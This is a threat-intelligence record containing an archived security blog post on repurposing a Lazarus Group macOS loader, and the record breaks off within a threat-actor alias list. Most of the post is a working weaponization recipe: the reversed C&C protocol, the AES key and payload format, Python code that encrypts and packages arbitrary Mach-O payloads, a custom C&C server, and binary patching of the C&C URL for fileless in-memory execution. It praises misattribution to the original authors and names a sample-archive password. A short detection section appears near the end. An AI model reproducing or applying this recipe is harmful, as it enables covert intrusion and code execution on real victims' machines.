{
	"id": "9c7bfc45-88fc-4e3d-9c7a-be518cac2a7f",
	"created_at": "2026-04-06T00:10:42.840333Z",
	"updated_at": "2026-04-10T03:38:19.293028Z",
	"deleted_at": null,
	"sha1_hash": "d1f21c649ae6c18beabaffa5a66bd073cd7d079c",
	"title": "Weaponizing a Lazarus Group Implant",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4527727,
	"plain_text": "Weaponizing a Lazarus Group Implant\r\nArchived: 2026-04-05 20:25:57 UTC\r\nWeaponizing a Lazarus Group Implant\r\nrepurposing a 1st-stage loader, to execute custom 'fileless' payloads\r\nby: Patrick Wardle / February 22, 2020\r\nOur research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n CleanMy Mac X\r\n📝 👾 Want to play along?\r\nI’ve added the sample (‘OSX.AppleJeus.C’) to our malware collection (password: infect3d)\r\n…please don’t infect yourself!\r\nBackground\r\nRecently a new piece of macOS malware was discovered:\r\nIn a previous blog post I analyzed this intriguing specimen (internally named macloader ), created by the\r\n(in)famous Lazarus group.\r\nThis post highlighed its:\r\nPersistence:\r\n/Library/LaunchDaemons/vip.unioncrypto.plist -\u003e /Library/UnionCrypto/unioncryptoupdater\r\nCommand and Control (C\u0026C) Server:\r\nhttps://unioncrypto.vip/update\r\nCapabilities:\r\nThe in-memory execution of a remotely downloaded payloads.\r\nWhile many aspects of the malware, such as its (launch daemon) persistence mechanism are quite prosaic, its\r\nability to directly execute downloaded (“2nd-stage”) payloads directly from memory is rather unique. Besides\r\nincreasing stealth and complicating forensics analysis of said payloads (as they never touch the file-system), it’s\r\njust plain sexy!\r\nIt also makes for the perfect candidate for “repurposing”, which is what we’ll walk-thru today.\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 1 of 20\n\nRepurposing Malware\r\nAt DefCon #27, I gave a talk titled, “Harnessing Weapons of Mac Destruction”, which detailed the process of\r\nrepurposing (or “recycling”) other peoples’ Mac malware:\r\nEtt fel inträffade.\r\nDet går inte att köra JavaScript.\r\nIn a nutshell, the idea is take existing malware and reconfigure (“repurpose” or “recycle”) it for your own\r\nsurreptitious purposes (i.e. testing, red-teaming, offensive cyber-operations, etc):\r\nThe talk also covered the many benefits of repurposing others’ malware; benefits that basically boil down to the\r\nfact that various well-funded groups and agencies are creating fully-featured malware, so why not leverage their\r\nhard work …in a way (that if discovered) will likely be (mis)attribute back to them?\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 2 of 20\n\n…IMHO, it’s a lovely idea 😇\r\nThe Lazarus group’s malware we’re looking at today is a perfect candidate for repurposing. Why? As a 1st-stage\r\nloader, it simply beacons out to a remote server for 2nd-stage payloads (which as noted, are executed directly from\r\nmemory). Thus once we understand its protocol and the expected format of the payloads, (in theory) it should be\r\nrather trivial to repurpose the loader to communicate instead with our server, and thus stealthily execute our own\r\n2\r\nnd\r\n-stage payloads!\r\nThis gives us ‘access’ then, to an advanced 1st-stage loader that will execute our custom payloads (from memory!)\r\n…without us having to write a single-line of (client-side) code. 😎\r\nBetter yet, as the repurposing-modifications will be minimal, if this repurposed sample is ever detected, it surely\r\nwell be (mis)attributed back to the original authors (and as our 2nd-stage payloads never hit the file-system, will\r\nmore than likely remain undetected) 😎😎 #winning\r\nRepurposing Lazarus’s Loader\r\nAfter identifying a malware specimen to repurpose (“recycle”), the next step is to comprehensively understand\r\nhow it works:\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 3 of 20\n\nThe goal of this analysis phase is to:\r\nIdentify the method of persistence\r\nUnderstand the capabilities / payload\r\nIdentify the command \u0026 control server\r\nUnderstand the communications protocol\r\nIn a previous blog post, “Lazarus Group Goes ‘Fileless’” we thoroughly analyzed the sample and answered the\r\nmajority of these questions.\r\nHowever, I did not discuss the malware’s communications protocol, specifically the format of the response from\r\nthe remote server …the response that contains the 2nd-stage payload(s). As our ultimate goal is to repurpose this\r\nmalware such that it executes our own 2nd-stage payloads, this protocol and payload format is essential to\r\nunderstand!\r\nTo facilitate dynamic analysis and to understand the malware protocol, I created a simple python HTTPS server\r\nthat would respond to the malware’s requests.\r\nAlthough (initially) I did not know the expected format of the data, trial and error (plus a healthy dose of reverse-engineering) proved sufficient!\r\n \r\n# python server.py\r\n [+] awaiting connections\r\n [+] new connection from 192.168.0.2:\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 4 of 20\n\n======= POST HEADERS =======\r\n Host: unioncrypto.vip\r\n Accept: */*\r\n auth_signature: ca57054ea39f84a6f5ba0c65539a0762\r\n auth_timestamp: 1581048662\r\n Content-Length: 62\r\n Content-Type: application/x-www-form-urlencoded\r\n ======= POST BODY =======\r\n MiniFieldStorage('act', 'check')\r\n MiniFieldStorage('ei', 'Mac OS X 10.15 (19A603)')\r\n MiniFieldStorage('rlz', 'VMI5EOhq8gDz')\r\n MiniFieldStorage('ver', '1.0')\r\n [06/Feb/2020 20:11:08] \"POST /update HTTP/1.1\" 200 -\r\nArmed with a simple (initially bare-boned) custom C\u0026C server to respond to the malware’s requests, we can\r\nbegin to understand the network protocol, with the ultimate goal of understanding how the 2nd-stage payloads\r\nshould be remotely delivered to the malicious loader, on infected systems.\r\nFirst, we note that on check in the malware provides some (basic) information after the infected system (e.g. the\r\nmacOS version/build number: Mac OS X 10.15 (19A603) , serial number: VMI5EOhq8gDz , etc.), and implant\r\nversion ( 'ver', '1.0' ).\r\nMoving on we can hop into a disassembler to look at the malware’s code responsible for connecting to the C\u0026C\r\nserver, and parsing/processing the server’s response.\r\nIn the malware’s disassembly we find a function named onRun() that invokes a method named\r\nBarbeque::post . This method connects to the remote server ( https://unioncrypto.vip/ ) and expects the\r\nserver to respond with an HTTP 200 OK . Otherwise it takes a nap (before trying again):\r\n1int onRun() {\r\n2\r\n3 ...\r\n4\r\n5 //connect to server\r\n6 Barbeque::post(...);\r\n7 if(response != 200) goto sleep;\r\n8\r\n9}\r\nAssuming the (our) server responds with an HTTP 200 OK , the malware checks that at least 0x400 bytes were\r\nreceived, before base64-decoding said bytes:\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 5 of 20\n\n1int onRun() {\r\n 2\r\n 3 ...\r\n 4\r\n 5 //rdx: # of bytes\r\n 6 // make sure at least 0x400 bytes were recv'd\r\n 7 if ((rdx \u003e= 0x400) \u0026\u0026 ...)))\r\n 8 {\r\n 9\r\n10 //rbx: recv'd bytes\r\n11 // base64 decond recv'd bytes\r\n12 rax = base64_decode(rbx, \u0026var_80);\r\n13\r\n14 ...\r\n15}\r\n…so already, we know the server’s response (which the malware expects to be a 2nd-stage payload) must be at\r\nleast 0x400 in length …and base64 encoded. As such, we update our custom C\u0026C server to respond with at least\r\n0x400 bytes of base64 encoded data (that for now, just decodes to ABCDEFGHIJKLMNOPQRSTUVWXYZABCD... ).\r\nOnce we respond with the correct number ( 0x400 +) of base64 encoded bytes, the malware happily continunes\r\nand invokes a function named processUpdate (at address 0x0000000100004be3 ). In a debugger, we can see this\r\nfunction takes the (base64 decoded) bytes (in RDI ) and their length (in RSI ):\r\n$ lldb unioncryptoupdater\r\n...\r\n(lldb) b 0x0000000100004be3\r\nBreakpoint 1: where = unioncryptoupdater`processUpdate(unsigned char*, unsigned long), address = 0x00\r\n(lldb) r\r\n...\r\n(lldb) Process 2813 stopped\r\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1\r\nframe #0: 0x0000000100004be3 unioncryptoupdater`processUpdate(unsigned char*, unsigned long)\r\n(lldb) (lldb) x/s $rdi\r\n0x100800600: \"ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ...\r\n(lldb) reg read $rsi\r\nrsi = 0x000000000000401\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 6 of 20\n\nAs shown in the debugger output, so far, the malware is content with our server’s response, as the response is over\r\n0x400 bytes in length and encoded correctly. (Note our decoded bytes, ABC... in the rdi register).\r\nIn the previous blog post, we noted that the processUpdate function calls into a method named\r\nload_from_memory to, well, load (and execute) the received bytes …the 2nd\r\n-stage payload(s). However, before it\r\ninvokes this function it calls two other functions:\r\nmd5_hash_string\r\naes_decrypt_cbc\r\n 1int processUpdate(int * arg0, long arg1) {\r\n 2\r\n 3 ...\r\n 4\r\n 5 rax = md5_hash_string(\u0026var_4D8);\r\n 6 r15 = rbx + 0x10;\r\n 7 rdx = r14 - 0x10;\r\n 8 if ((var_4D8 \u0026 0x1) != 0x0) {\r\n 9 rcx = var_4C8;\r\n10 }\r\n11 else {\r\n12 rcx = \u0026var_4D7;\r\n13 }\r\n14 _aes_decrypt_cbc(0x0, r15, rdx, rcx, \u0026var_40);\r\n15}\r\nLet’s step thru this in a debugger to see what it’s hashing, and what/how it’s ( AES ) decrypting.\r\nUsing our simple python HTTPS (C\u0026C) server we’ll serve up again 0x400 + bytes of\r\nABCDEFGHIJKLMNOPQRSTUVWXYZABC... :\r\n$ lldb unioncryptoupdater\r\n(lldb) x/i $pc\r\n0x100004c58 \u003c+117\u003e: callq 0x100004dab ; md5_hash_string(...);\r\n//print out bytes passed to md5_hash_string()\r\n// recall that $rsi will contain the first arg\r\n(lldb) x/24bx $rsi\r\n0x100008388: 0x18 0x56 0x4d 0x49 0x35 0x45 0x4f 0x68\r\n0x100008390: 0x71 0x38 0x67 0x44 0x7a 0x00 0x00 0x00\r\n0x100008398: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00\r\n//print out as a string\r\n(lldb) x/s $rsi+1\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 7 of 20\n\n0x100008389: \"VMI5EOhq8gDz\"\r\nStopping at the call to the md5_hash_string function, we can dump the string being passed in. Turns out it’s:\r\nVMI5EOhq8gDz (albeit prefixed with 0x18 ).\r\nThe calling convention utilized by macOS is the “System V” 64-bit ABI …which always passes the first argument\r\nin the rsi register.\r\n“System V operating systems [and macOS] will use RDI, RSI, RDX, RCX, R8 and R9. XMM0, XMM1, XMM2,\r\nXMM3, XMM4, XMM5, XMM6 and XMM7 will be used to pass floating point parameters. RAX will hold the\r\nsyscall number. Additional arguments are passed via the stack (right to left).\r\nReturn values are sent back via RAX.”\r\n-64bit ABI Cheatsheet\r\nOnce the malware has generated an MD5 hash of this string, it invokes the aes_decrypt_cbc function. What\r\ndoes it pass in?\r\nIn the disassembler, the aes_decrypt_cbc function is invoked in the following manner: _aes_decrypt_cbc(0x0,\r\nr15, rdx, rcx, \u0026var_40); Hopping back into the debugger we can determine what the r15 , rdx , and rcx\r\nregisters hold:\r\n$ lldb unioncryptoupdater\r\n(lldb) x/i $pc\r\n0x100004c85 \u003c+162\u003e: callq 0x100004095 ; aes_decrypt_cbc\r\n(lldb) x/s $r15\r\n0x100800610: \"QRSTUVWXYZABCDEF...\r\n(lldb) reg read $rdx\r\nrdx = 0x00000000000003F1\r\n(lldb) x/16xb $rcx\r\n0x7ffeefbff279: 0x26 0x1d 0xfd 0xb9 0x70 0x43 0x84 0xf4\r\n0x7ffeefbff281: 0xf7 0x37 0xe0 0x1c 0x55 0x7a 0xee 0x74\r\nr15 : appears to be a pointer into the received (now base64 decoded) bytes. Looking back a few\r\ninstructions in the disassembly we see: r15 = rbx + 0x10 ( rbx is a pointer to the start of the received\r\ndecoded bytes).\r\nThus, r15 points exactly 0x10 ( 16d ) bytes into the received, decoded bytes.\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 8 of 20\n\nrdx : appears to be 0x10 less than the size of the total (received) decoded bytes. Again, a few\r\ninstructions back, we see: rdx = r14 - 0x10 ( r14 holds the total sized of the received decoded bytes).\r\nIn other words, rdx is the remaining size of the (received) decoded bytes (from r15 to the end!).\r\nrcx : appears initially to be a pointer some random/unknown bytes ( 0x26 0x1d 0xfd 0xb9 ... ).\r\nHowever, by looking back in the disassembly, we can see it’s the result of hashing the VMI5EOhq8gDz\r\nstring!\r\nWe can also confirm this, by manually ( MD5 ) hashing VMI5EOhq8gDz , which results in 0x26 0x1d 0xfd\r\n0xb9 ... (matching rcx ):\r\n1password = 'VMI5EOhq8gDz'\r\n2key = hashlib.md5(password).digest()\r\n3\r\n4print('\\nkey: '),\r\n5for i in range(len(key)):\r\n6 print('%x' % (ord(key[i]))),\r\n7}\r\n…which prints out the (expected) key: 26 1d fd b9 70 43 84 f4 f7 37 e0 1c 55 7a ee 74\r\nWe now understand the parameters passed to the aes_decrypt_cbc function:\r\narg 0 ( 0x0 ): likely the iv ( NULL )\r\narg 1 (from $r15 ): pointer to cipher text\r\narg 2 (from $rdx ): length of cipher text\r\narg 3 (from $rcx ): key ( MD5 of the string VMI5EOhq8gDz )\r\narg 4 ( \u0026var_40 ): aes “context”\r\nThus, the malware is ( AES ) decrypting the received (now base64 decoded) payload, with key =\r\nMD5(\"VMI5EOhq8gDz\") .\r\nAfter decrypting the received bytes, the malware initializes a pointer 0x90 bytes into the received bytes, and a\r\nvariable with the size of the remaining bytes, before invoking the load_from_memory function:\r\n1rbx = rbx + 0x90;\r\n2r14 = r14 - 0x90;\r\n3\r\n4rax = load_from_memory(rbx, r14, \u0026var_C0, rcx, \u0026var_40, r9);\r\nBefore discussing the parameters passed to this function let’s update our custom C\u0026C server to serve up the same\r\ndata from a file ( ABCDEF... ), but this time AES encrypted with the hash of \"VMI5EOhq8gDz\" . …we also make\r\nsure to skip the first 0x90 bytes (as the malware skips over these):\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 9 of 20\n\n1password = 'VMI5EOhq8gDz'\r\n 2key = hashlib.md5(password).digest()\r\n 3\r\n 4iv = 16 * '\\x00'\r\n 5encryptor = AES.new(key, AES.MODE_CBC, iv)\r\n 6\r\n 7with open(in_filename, 'rb') as infile:\r\n 8 with open(out_filename, 'wb') as outfile:\r\n 9\r\n10 data += 0x10 * '\\x00'\r\n11 chunk = 0x80 * '\\x00'\r\n12 data += encryptor.encrypt(chunk)\r\n13\r\n14 while True:\r\n15 chunk = infile.read(chunksize)\r\n16 if len(chunk) == 0:\r\n17 break\r\n18 elif len(chunk) % 16 != 0:\r\n19 chunk += ' ' * (16 - len(chunk) % 16)\r\n20\r\n21 data += encryptor.encrypt(chunk)\r\n22\r\n23 outfile.write(base64.b64encode(data))\r\nSetting a breakpoint on the call to the load_from_memory function ( 0x0000000100004cb8: call\r\nload_from_memory ), we can now dump the parameters (and confirm that the encryption in our custom C\u0026C server\r\nis correct):\r\n$ lldb unioncryptoupdater\r\n(lldb) x/i $pc\r\n0x100004cb8 \u003c+213\u003e: callq 0x100006dda ; load_from_memory\r\n//1st arg\r\n(lldb) x/s $rdi\r\n0x101002290: \"ABCDEFGHIJKLMNOPQRSTUVWXYZ...\r\n(lldb) reg read $rsi\r\nr14 = 0x0000000000000371\r\nRecalling that the first and second arguments are passed in via the rdi and rsi registers, respectfully, in the\r\nabove debugger output we can see the malware is passing our now decoded, decrypted “payload” ( ABC... ) and\r\nsize, to the load_from_memory function.\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 10 of 20\n\nHooray, this confirms that our detailed analysis has correctly uncovered both the format, encoding, and encryption\r\nof the server’s expected response.\r\nIn summary:\r\nencoding: base64\r\nencryption: AES ( CBC -mode), with a null-IV, and key of MD5(\"VMI5EOhq8gDz\")\r\nformat: 0x400 + bytes, payload starting at offset 0x90\r\nAs we now fully understand the format of the malware’s protocol, in theory, we should be able remote transmit an\r\nencrypted \u0026 encoded binary payload and have the malware execute directly from memory!\r\n…but first a brief discussion of the malware’s “load and execute from memory” code.\r\nIn my previous writeup, “Lazarus Group Goes ‘Fileless’”, I detailed exactly how the malware executed the 2nd-\r\nstage payload from memory. To (re)summarize:\r\nThe load_from_memory function mmaps some memory (with protections: PROT_READ | PROT_WRITE |\r\nPROT_EXEC ), then copies the decrypted payload into this memory region, before invoking a function named\r\nmemory_exec2 .\r\nThe memory_exec2 function invokes the Apple API NSCreateObjectFileImageFromMemory to create an\r\n“object file image” from a memory buffer (of a mach-O file) then invokes the NSLinkModule function to\r\nlink the “object file image”.\r\nOnce the malware has mapped and linked the downloaded payload, it invokes a function named\r\nfind_macho which appears to search the memory mapping for MH_MAGIC_64 ( 0xfeedfacf ), the 64-bit\r\n“mach magic number” in the mach_header_64 structure.\r\nOnce the find_macho method returns, the malware begins parsing the mapped/linked ( mach-O ) payload,\r\nlooking for the address of LC_MAIN load command ( 0x80000028 ), which contains information such as\r\nthe entry point of the in-memory code.\r\nThe malware then retrieves the offset of the entry point (found at offset 0x8 within the LC_MAIN load\r\ncommand), sets up some arguments, then jumps to this address, to kick off the execution of the payloads\r\nbinary code.\r\n1//rcx points to the `LC_MAIN` load command\r\n2r8 = r8 + *(rcx + 0x8);\r\n3...\r\n4\r\n5//invoke payload's entry point!\r\n6rax = (r8)(0x2, \u0026var_40, \u0026var_48, \u0026var_50, r8);\r\nSkimming over the disassembly of the memory_exec2 reveals some interesting code snippets, such as the\r\nfollowing:\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 11 of 20\n\n1//RDI points to the mach-O header (of the payload)\r\n2// offset 0xC in a mach-O header is file type (`uint32_t filetype`)\r\n3rbx = *(int32_t *)(rdi + 0xc);\r\n4if (rbx != 0x8) {\r\n5 *(int32_t *)(rdi + 0xc) = 0x8;\r\n6}\r\nStepping thru this code in a debugger, reveals it is checking the type of the ( mach-O ) binary payload\r\n( MH_EXECUTE , MH_BUNDLE , etc). If the mach-O file type is not MH_BUNDLE ( 0x8 ), it updates the (in-memory)\r\ntype to be this value: *(rdi + 0xc) = 0x8 .\r\nProcess 2866 stopped\r\n* stop reason = breakpoint 1.1\r\nunioncryptoupdater`memory_exec2:\r\n-\u003e 0x1000069c0 \u003c+33\u003e: cmpl $0x8, %ebx ;0x8: MH_BUNDLE\r\n 0x1000069c3 \u003c+36\u003e: je 0x1000069cc\r\n 0x1000069c5 \u003c+38\u003e: movl $0x8, 0xc(%rdi)\r\n 0x1000069cc \u003c+45\u003e: leaq -0x58(%rbp), %rdx\r\n(lldb) reg read $rbx\r\n rbx = 0x0000000000000002 ;0x2: MH_EXECUTE\r\nThis is done, (as online research notes) as the man page for NSModule state: “Currently the implementation is\r\nlimited to only Mach-O MH_BUNDLE types which are used for plugins.” Thus in order to play nicely with the\r\nApple APIs and thus support the in-memory execution of ‘standard’ mach-O executables (type: MH_EXECUTE ),\r\nthis ‘patch’ must be applied.\r\nHowever, the most interesting thing about this snippet of code found within the malware, is that it’s not original…\r\nIn 2017, Cylance published a blog post titled: “Running Executables on macOS From Memory”. Though the topic\r\nof in-memory code execution on macOS had been covered before (as was noted in the blog post), the post\r\nprovided a comprehensive technical deep-dive into the topic, and more importantly provided an open-source\r\nproject which included code to perform in-memory loading: “osx_runbin”.\r\nThe researcher (Stephanie Archibald), also presented this research (and more!) at an Infiltrate talk:\r\nIf we compare Cylance’s osx_runbin code, it is trivial to see the in-memory loader code found within the\r\nLazarus’s group’s malware is nearly 100% the same:\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 12 of 20\n\n…in other words, the Lazarus group coders simply leveraged (copied/stole) the existing open-source osx_runbin\r\ncode in order to give their loader, advanced stealth and anti-forensics capabilities. And who can blame them?\r\nWork smart, not hard, right!? 😅\r\nOk, so let’s start to wrap this all up, and (finally!) illustrate the full repurposing of the Lazarus group’s loader, so\r\nthat it beacons to our C\u0026C server to download and execute (from memory), our 2nd-stage payloads!\r\nStep one is to modify the loader so that it beacons to our C\u0026C server for tasking.\r\nLooking in the disassembler, we find the hardcoded address of the malware C\u0026C server:\r\nhttps://unioncrypto.vip/update :\r\nPopping into a hexeditor, we can modify this to whatever URL or IP address we’d like the malware to now\r\nconnect to (i.e. to from https://unioncrypto.vip/update to https://allyourbase.belong/ ):\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 13 of 20\n\nOne the malware checks in:\r\n# python server.py\r\n [+] awaiting connections\r\n [+] new connection from 192.168.0.2\r\n ======= POST HEADERS =======\r\n Host: allyourbase.belong\r\n Accept: */*\r\n auth_signature: ca57054ea39f84a6f5ba0c65539a0762\r\n auth_timestamp: 1581048662\r\n Content-Length: 62\r\n Content-Type: application/x-www-form-urlencoded\r\n ======= POST BODY =======\r\n MiniFieldStorage('act', 'check')\r\n MiniFieldStorage('ei', 'Mac OS X 10.15 (19A603)')\r\n MiniFieldStorage('rlz', 'VMI5EOhq8gDz')\r\n MiniFieldStorage('ver', '1.0')\r\n [06/Feb/2020 20:11:08] \"POST /update HTTP/1.1\" 200 -\r\n…we should be able to serve up our 2nd-stage payloads!\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 14 of 20\n\nStep two is to prepare and package up these payloads. This involves encrypting ( AES , key:\r\nMD5(\"VMI5EOhq8gDz\") ) any mach-O binary and placing that at offset 0x90 within the server’s base64-encoded\r\nresponse.\r\nDuring our analysis phase, we had (already) put together some basic python code, to implement this logic:\r\n 1import os, random, struct, hashlib, base64\r\n 2from Crypto.Cipher import AES\r\n 3\r\n 4password = 'VMI5EOhq8gDz'\r\n 5key = hashlib.md5(password).digest()\r\n 6\r\n 7def encryptFile(key, in_filename, out_filename=None, chunksize=64*1024):\r\n 8\r\n 9 iv = 16 * '\\x00'\r\n10 encryptor = AES.new(key, AES.MODE_CBC, iv)\r\n11\r\n12 data = \"\"\r\n13\r\n14 with open(in_filename, 'rb') as infile:\r\n15 with open(out_filename, 'wb') as outfile:\r\n16\r\n17 data += 0x10 * '\\x00'\r\n18 chunk = 0x80 * '\\x00'\r\n19 data += encryptor.encrypt(chunk)\r\n20\r\n21 while True:\r\n22 chunk = infile.read(chunksize)\r\n23 if len(chunk) == 0:\r\n24 break\r\n25 elif len(chunk) % 16 != 0:\r\n26 chunk += ' ' * (16 - len(chunk) % 16)\r\n27\r\n28 data += encryptor.encrypt(chunk)\r\n29\r\n30 outfile.write(base64.b64encode(data))\r\n31\r\n32encryptFile(key, 'payloadBEFORE', 'payloadAFTER')\r\nNow we just need a test payload …a standard \"Hello World\" binary should suffice:\r\n1#import \u003cFoundation/Foundation.h\u003e\r\n2\r\n3int main(int argc, const char * argv[]) {\r\n4 @autoreleasepool {\r\n5 // insert code here...\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 15 of 20\n\n6 NSLog(@\"Hello, World!\");\r\n7 }\r\n8 return 0;\r\n9}\r\nAfter compiling this \"Hello World\" code into a mach-O binary, we run it thru our python “deployment” script\r\nwhich encrypts, encodes, and packages it all up:\r\n$ python deploy.py\r\n[+] AES encrypting payload...\r\n[+] Base64 encoding payload...\r\n[+] payload ready for deployment!\r\n$ hexdump -C payload\r\n00000000 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 |ERERERERERERERER|\r\n00000010 45 52 45 52 45 58 73 7a 75 42 33 44 7a 4a 52 6e |EREREXszuB3DzJRn|\r\n00000020 7a 45 48 66 30 4c 42 4f 4d 66 50 41 37 5a 31 73 |zEHf0LBOMfPA7Z1s|\r\n00000030 4a 7a 50 39 58 78 7a 64 2b 37 4a 34 47 47 50 43 |JzP9Xxzd+7J4GGPC|\r\n00000040 47 52 44 73 68 46 52 2b 4e 32 75 66 61 47 45 42 |GRDshFR+N2ufaGEB|\r\n00000050 6e 46 6e 33 7a 45 43 45 50 52 6f 4e 57 32 63 67 |nFn3zECEPRoNW2cg|\r\n00000060 6f 52 7a 68 42 34 48 57 31 38 4c 42 35 48 48 4d |oRzhB4HW18LB5HHM|\r\n00000070 53 71 6f 4a 35 74 74 63 77 38 66 63 36 74 75 6d |SqoJ5ttcw8fc6tum|\r\nNow, we simply modify our custom C\u0026C server to serve up this processed payload when the repurposed malware\r\nchecks in with our server:\r\n# python server.py\r\n [+] awaiting connections\r\n [+] new connection from 192.168.0.2\r\n ======= POST HEADERS =======\r\n Host: allyourbase.belong\r\n ...\r\n [+] responding with 2nd-stage payload (42264 bytes)\r\nSetting a breakpoint within the memory_exec2 function (specifically at 0x0000000100006af6 , the call into the\r\npayload’s main /entrypoint), allows us to confirm that our payload has been successfully transmitted to the\r\nremote (now repurposed) loader, unpackaged, decoded, and decrypted successfully:\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 16 of 20\n\n(lldb) b 0x0000000100006af6\r\nBreakpoint 2: where = unioncryptoupdater`memory_exec2 + 343\r\n...\r\nProcess 2866 stopped\r\n* thread #1, stop reason = breakpoint 2.1\r\nunioncryptoupdater`memory_exec2 + 343:\r\n-\u003e 0x100006af6 \u003c+343\u003e: callq *%r8\r\n \r\n(lldb) x/10i $r8\r\n 0x201800f20: 55 pushq %rbp\r\n 0x201800f21: 48 89 e5 movq %rsp, %rbp\r\n 0x201800f24: 48 83 ec 20 subq $0x20, %rsp\r\n 0x201800f28: c7 45 fc 00 00 00 00 movl $0x0, -0x4(%rbp)\r\n 0x201800f2f: 89 7d f8 movl %edi, -0x8(%rbp)\r\n 0x201800f32: 48 89 75 f0 movq %rsi, -0x10(%rbp)\r\n 0x201800f36: e8 33 00 00 00 callq 0x201800f6e\r\n 0x201800f3b: 48 8d 35 c6 00 00 00 leaq 0xc6(%rip), %rsi ; @\"Hello, World!\"\r\n 0x201800f42: 48 89 f7 movq %rsi, %rdi\r\n 0x201800f45: 48 89 45 e8 movq %rax, -0x18(%rbp)\r\n 0x201800f49: b0 00 movb $0x0, %al\r\n 0x201800f4b: e8 12 00 00 00 callq 0x201800f62 ; NSLog\r\n…and if we continue ( c ), our 2nd-stage payload is successfully executed on the infected system, directly from\r\nmemory!\r\n(lldb) c\r\nProcess 2866 resuming\r\n2020-02-17 23:34:30.606876-0800 unioncryptoupdater[2866:213719] Hello, World!\r\n...\r\n$ log show | grep \"Hello, World\"\r\n2020-02-17 23:34:30.606982-0800 unioncryptoupdater: (core) Hello, World!\r\nHooray, we’re stoked! 🥳\r\nDetection\r\nBefore ending, I want to briefly discuss detection of this threat (either in it’s pristine or repurposed state).\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 17 of 20\n\nFirst, it’s rather trivial to detect the malware’s (launch daemon) persistence (e.g. via BlockBlock):\r\nOur firewall LuLu will also detects the unauthorized network traffic to the attacker (or our!) C\u0026C server:\r\nAnd what about detecting the in-memory execution of 2nd-stage payloads? Turns out that’s a bit tricker (which is\r\none of the reasons why attacker have begun to utilize this technique!).\r\nGood news though (from the detection point of view), the well-known macOS security researcher (and former\r\n#OBTS speaker!) Richie Cyrus recently published a blog post that included a section titled: “Using ESF to Detect\r\nIn-Memory Execution”\r\nIn his, post he notes that via Apple’s new Endpoint Security Framework (ESF), we can track various events, such\r\nas memory mappings ( ES_EVENT_TYPE_NOTIFY_MMAP ) which (when combined with other observable events\r\ndelivered by the ESF) may be used to detect the execution of an in-memory payload:\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 18 of 20\n\n\"Of the event types, ES_EVENT_TYPE_NOTIFY_MMAP stands out as there was a call to mmap in\r\nthe PoC code which generated the Calculator execution...\"\r\nUnfortunately, without a kernel extension (which Apple is rapidly deprecating), as far as I know, there is no way to\r\ndump a process’s memory contents. Thus even if we are to detect that a 2nd-stage payload is executing from\r\nmemory, we won’t be to capture the payload (i.e. dump it from memory). Apple, a little help here!?\r\nFor more on the topic of memory forensics on macOS, check out the following (insightful!) thread:\r\nMemory scanning capabilities on macOS are pretty bad in general. But this abolition of kexts for\r\nmacOS will definitely make it impossible to access the memory if no access to kernel mode will be\r\npossible. https://t.co/TbBHOsnG55\r\n— Matt Suiche (@msuiche) February 9, 2020\r\nConclusion\r\nLazarus group proves yet again to be a well-resourced, persistent threat, that continues to target macOS users with\r\never evolving capabilities. …so why not repurpose their malware for our own surreptitious purposes!?\r\nTraditionally, repurposed malware has only been leveraged by sophisticated cyber adversaries:\r\nHowever in this blog post, we illustrated exactly how to “recycle” Lazarus latest implant, unioncryptoupdater ,\r\nin a few, fairly straightforward steps.\r\nSpecifically, after reversing the sample to uncover its encryption key and encoding mechanism, we built a simple\r\nC\u0026C server capable to speaking the malware’s protocol. And after overwriting the embedded address of the\r\nattacker’s C\u0026C server in the malware’s binary, with our own, the repurposing was wholly complete.\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 19 of 20\n\nEnd result? An advanced persistent 1st\r\n-stage implant implant, capable of executing our 2nd-stage payloads,\r\ndirectly from memory! And besides not having to write a single line of “client-side” code, if our repurposed\r\ncreation is ever discovered it will surely be (mis)attributed back to the Lazarus group. Win-freaking-Win!?\r\n…and no, Catalina’s notarization requirements, will not thwart our “repurposed” creations! 🤭\r\n❤️ Love these blog posts and/or want to support my research and tools?\r\nYou can support them via my Patreon page!\r\nSource: https://objective-see.com/blog/blog_0x54.html\r\nhttps://objective-see.com/blog/blog_0x54.html\r\nPage 20 of 20\n\nMiniFieldStorage('rlz', MiniFieldStorage('ver',  'VMI5EOhq8gDz') '1.0')  \n[06/Feb/2020 20:11:08] \"POST /update HTTP/1.1\" 200 \n…we should be able to serve up our 2nd-stage payloads! \n   Page 14 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x54.html"
	],
	"report_names": [
		"blog_0x54.html"
	],
	"threat_actors": [
		{
			"id": "34eea331-d052-4096-ae03-a22f1d090bd4",
			"created_at": "2025-08-07T02:03:25.073494Z",
			"updated_at": "2026-04-10T02:00:03.709243Z",
			"deleted_at": null,
			"main_name": "NICKEL ACADEMY",
			"aliases": [
				"ATK3 ",
				"Black Artemis ",
				"COVELLITE ",
				"CTG-2460 ",
				"Citrine Sleet ",
				"Diamond Sleet ",
				"Guardians of Peace",
				"HIDDEN COBRA ",
				"High Anonymous",
